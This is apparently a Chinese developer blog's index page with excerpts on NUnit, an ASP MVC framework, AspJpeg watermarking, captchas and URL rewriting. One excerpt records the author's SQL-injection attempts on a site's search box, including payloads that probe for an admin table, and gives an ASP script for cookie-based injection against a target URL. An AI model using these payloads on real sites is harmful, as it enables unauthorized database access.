一种信息化的学习策略探讨
作者:admin 日期:2010-03-01
软件测试NUnit工具的使用教程
作者:admin 日期:2009-12-16

是在.net开发中用于做单元测试的极好工具,它的开发者甚至包含写了设计模式的四人帮GOF中的两位大神。就是这样的工具,完全开源且免费。你可以在http://www.nunit.org下载到该工具,中文的使用博客园中有热心人Confach也做了翻译,具体地址是:http://www.36sign.com/nunit.
具体教程可以参考NUnit2.0详细使用方法 下载: 1)NUnit的应用文档 下载 2)本文的PDF版 下载 ;
这里讲一下我遇见的一个问题,就是web.config中写了数据库字符串,在测试中如何取得这个字符串的问题:
软件测试的几篇文章
作者:admin 日期:2009-12-15
ASP跟PHP对URL ENCODE编码后不同的解释
作者:admin 日期:2009-10-19
AspMvc框架 Demo
作者:admin 日期:2009-10-19
AspMvc简介:
AspMvc是一个快速、简单的面向对象的轻量级Asp开发框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。
借鉴了国内外很多优秀的(Java Ssh/Net NetMvc3.5 ThinkPhp)框架和模式,使用面向对象的开发结构和MVC模式,RoR的ORM映射,封装了CURD和丰富的工具集等,在缓存机制、认证机制和扩展性方面均有独特的表现。 使用AspMvc,你可以更方便和快捷的开发和部署应用,任何Asp应用开发都可以从AspMvc的简单、兼容和快速的特性中受益。简洁、快速和实用是AspMvc发展秉承的宗旨,为此AspMvc会不断吸收和融入更好的技术以保证其新鲜和活力,提供WEB应用开发的最佳实践.
环境要求:
AspMvc可以支持具有IIS服务器环境,支持Access,Mssql2000,Mssql2005,Mysql等多种数据库,其中Access为免费版本,但应保留版权声明.Mssql2000,Mssql2005,Mysql不提供免费版本.请购买商业版本
获取SongTaste上音乐的真实地址
作者:admin 日期:2009-10-19
AspJpeg图片组件的使用方法
作者:admin 日期:2009-09-23
甘肃家教网虽则是一个完全公益的站点,不过好歹也是需要投入服务器和域名的,服务器的选择上自然不可能是使用多好的东西,用的是新誉的虚拟主机,一直以来也算过得去,奈何最近发现总是有人上传证件照片的时候上传2M左右大小的东西,郁闷!这么大的东西不但拖累网速而且浪费空间,我可没有打算往这里再增加投入的。只好自己解决了,想想还是要翻翻ASPJPEG图片处理组件的使用方法,图片自动压缩到一定大小,这样才能控制空间增长。
1、为图片加入水印功能
Dim Jpeg
Set Jpeg = Server.CreateObject("Persits.Jpeg") ' 建立对象
Jpeg.Open BlogPath & "/upload/" & FileName ' 图片所在位置
Jpeg.Canvas.Font.Color = &H000000 ' 颜色,这里是设置成:黑
Jpeg.Canvas.Font.Family = "方正隶变简体" ' 设置字体
Jpeg.Canvas.Font.Bold = False '是否设置成粗体
Jpeg.Canvas.Font.Size = 26 '字体大小
Jpeg.Canvas.Font.Quality = 4 ' 文字清晰度
Jpeg.Canvas.Print Jpeg.OriginalWidth/2-170,Jpeg.OriginalHeight-30, "www.gsjiajiao.com" '水印文字
Jpeg.Save BlogPath & "/upload/" & FileName ' 保存文件
Set Jpeg = Nothing
2、为图片制作缩略图
陷入极度崩溃的:C#”标准表达式中数据类型不匹配"
作者:admin 日期:2009-03-25
今天使用的是ACCESS数据库,不同于sql数据库,所以遇见了很多问题!
刚开始的时候还是没有引入命名空间,必须要加上:
程序代码我在web.config中使用的连接字符串是:
程序代码<add key="provider" value="Provider=Microsoft.Jet.OLEDB.4.0;data source=" />
<add key="database" value="~/database/database.mdb" />
</appSettings>
ASP验证码程序实例
作者:admin 日期:2009-03-15
在会话(Session)中产生一个随机量,然后在需要屏蔽机器人提交暴力破解的地方加入一个文本框(Input box),在前台使用ajax验证输入是否正确或者在提交表单后在服务器端验证。根据验证结果决定操作是否有效。
一般情况下,客户端的随机量展示不能在源码里,主要是因为html格式的文档要获取固定位置的字符易如反掌。故一般用组件生成图片。
以下内容就是ASP产生验证码的一段很简洁的程序,在验证时将输入值跟Session("safenum")比较即可。
asp中利用数组实现数据库记录的批量录入方法
作者:admin 日期:2008-10-16
Asp Access 查询分析器
作者:admin 日期:2008-10-16
如何获取access中的未知表的表名称呢?!
作者:admin 日期:2008-09-24
最为经典的sqlInjection的确是一把利器,而搜索框是最惹人爱的东东,我习惯从这里入手。
只是,sqlserver好说些,现在基本上都是这个数据库搭配着asp和asp.net,但是access呢!?麻烦了,你没办法获取更多的信息,好被动的。
以往没关心过这个问题,今天遇见了一个,但是破解不了,郁闷了!
程序代码'd_title like '%'%' order by d_id desc'
%' and (select count(*) from d_admin)>0 and '%'='
'd_title<>'' and (MarketPrice<1001') order by d_view desc'
我承认,我的人品在这个时候实在不怎么样,我就没遇见过一次能猜出来的事情!
网上找到的都需要asp来操作,是的,asp我可以,但是,纯粹的sql呢!?该怎么办?!
http://x/qywh_mnqywh.asp?IID=11'
是不可以注入的.但程序员在处理时,仅使用了request("iid")来获取数据,这样造成cookies注入的存在.
为了注入方便,简单写了个利用cookies注入的小程序,基本原理如下:
程序代码Str="iid="&escape(request("FK"))
Url="http://x/qywh_mnqywh.asp"
response.write PostData(Url,Str)
Function PostData(PostUrl,PostCok)
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.SetRequestHeader "Cookie",PostCok
.Send
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = "" &n...
UrlRewriter.NET地址重写示例程序3阶段
作者:admin 日期:2008-08-14
站长站下载地址:http://down.chinaz.com/soft/23610.htm
入门篇
1. 地址重写——简单实现/去掉问号
2. 地址重写——无扩展名/任意扩展名
3. 地址重写——404检测
4. 地址重写——封IP
5. 地址重写——字符串转换器的应用
6. 地址重写——静态映射的应用
进阶篇
Tags: UrlRewriter .NET 示例程序
web程序如何执行"计划任务"
作者:admin 日期:2008-05-30
方法:
伙伴契约:同对方合作,对方提供xml文档或者在更新报价的同时发送一个"ping"给你的服务器,此时如同google的sitemap一样,你只要在自己本地的数据库中收录一次即可。但是很明显,他们愿意跟你合作吗!?
如果这种主动的推送无法实现,那么只有被动的采集数据,如果做一个搜索引擎的蜘蛛一样厉害的东西那自然是厉害的,可是…… 要是谁都能做搜索引擎的蜘蛛,谁都对页面的内容能进行分析和连接提取,资源透析,那么baidu和google就可以准备关门了。
当然简单的来讲,我们只是需要执行一个类似于windows的计划任务一样的东西。而且,前提是我们没有自己的服务器主动权,只能从虚拟主机开始思考,所有的组件和服务器计划任务的建议都可以忽略不计了。











